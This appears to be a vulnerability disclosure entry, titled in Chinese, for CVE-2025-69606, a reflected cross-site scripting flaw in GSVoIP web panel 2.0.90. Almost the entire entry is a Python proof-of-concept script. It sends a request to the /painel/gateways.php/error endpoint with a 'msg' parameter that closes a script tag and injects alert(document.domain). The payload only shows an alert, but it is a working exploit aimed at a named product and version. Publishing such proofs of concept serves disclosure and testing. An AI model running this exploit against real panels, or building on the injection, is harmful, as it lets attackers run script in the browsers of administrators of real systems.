CVE-2025-69606 GSVoIP Web面板跨站脚本漏洞

# PoC for CVE-2025-69606 # Target: GSVoIP web panel 2.0.90 # Endpoint: /painel/gateways.php/error import requests def exploit_xss(target_url): # Payload to close existing script tag and inject alert payload = "</script><script>alert(document.domain)</script>" # Construct the full URL with the vulnerable parameter params = {'msg': payload} try: response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print(f"[+] Request sent to: {response.url}") print("[+] Check the browser for an alert box showing the domain.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://target-ip/painel/gateways.php/error" exploit_xss(target)